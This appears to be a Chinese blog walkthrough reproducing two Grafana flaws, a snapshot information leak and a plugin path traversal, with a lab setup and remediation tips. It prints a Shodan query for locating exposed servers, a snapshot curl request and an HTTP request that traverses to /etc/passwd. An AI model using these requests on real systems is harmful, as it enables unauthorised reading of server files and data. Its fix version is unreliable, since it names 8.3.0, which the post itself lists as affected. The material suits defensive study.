CVE-2021-39226信息泄露、CVE-2021-43798 Grafana任意文件读取漏洞复现
漏洞简述
Grafana是一套提供可视化监控界面的开源监控工具。该工具主要用于监控和分析Graphite、InfluxDB和Prometheus等。
CVE-2021-39226 Grafana 存在授权问题漏洞,该漏洞源于在受影响的版本中,未经身份验证和身份验证的用户都可以通过访问快照路径,造成敏感信息泄露。
CVE-2021-43798 这个漏洞出现在插件模块中,这个模块支持用户访问插件目录下的文件,但因为没有对文件名进行限制,攻击者可以利用../
的方式穿越目录,读取到服务器上的任意文件。
影响版本范围
CVE-2021-39226
- Grafana<=7.5.11
- 8.0.0<=Grafana<=8.1.6
CVE-2021-43798
- 8.0.0-beta1 <= Grafana < 8.0.7
- 8.1.0 <= Grafana < 8.1.8
- 8.2.0 <= Grafana < 8.2.7
- Grafana == 8.3.0
Shodan 搜索语法
http.favicon.hash:2123863676
漏洞exp
https://github.com/Mr-xn/CVE-2021-43798
https://github.com/jas502n/Grafana-CVE-2021-43798
漏洞环境搭建
CVE-2021-39226 和 CVE-2021-43798 有存在交集的版本,可同时复现两个漏洞。
docker run -d -p 4000:3000 grafana/grafana:8.1.0
初始用户名和密码为admin/admin。
CVE-2021-39226信息泄露
Grafana 存在授权问题漏洞,该漏洞源于在受影响的版本中,未经身份验证和身份验证的用户都可以通过访问路径:
- /dashboard/snapshot/:key
- /api/snapshot/:key
来查看具有最低数据库键的快照。如果快照 \”公共模式 \” 配置设置为 true (而默认为 false),未经身份验证的用户可以通过访问路径:
- /api/snapshot-delete:/deleteKey
来删除快照,并使用最低的数据库键。无论快照是否设置 “公共模式” ,通过身份验证的用户都可以删除快照.
漏洞利用
curl http://target.com:3000/dashboard/snapshot/:key
CVE-2021-43798任意文件读取漏洞
利用这个漏洞前,我们需要先获取到一个已安装的插件id,比如常见的有:
alertlist cloudwatch dashlist elasticsearch ...... stackdriver table text
主要是grafana默认安装的插件。再发送如下数据包,读取任意文件,也可以将其中的插件名称换成其他合法的插件id。
GET /public/plugins/welcome/../../../../../../../../etc/passwd HTTP/1.1 Host: localhost:3000 Connection: close
溯源排查
- snapshot/:key
- ../../../../
grafana默认没有访问日志,如果有套Nginx或者用docker进行访问,可以排查关键词。
修复方式
Grafana => 8.3.0
建议升级该组件至最新版本。
赞赏微信赞赏支付宝赞赏
发表评论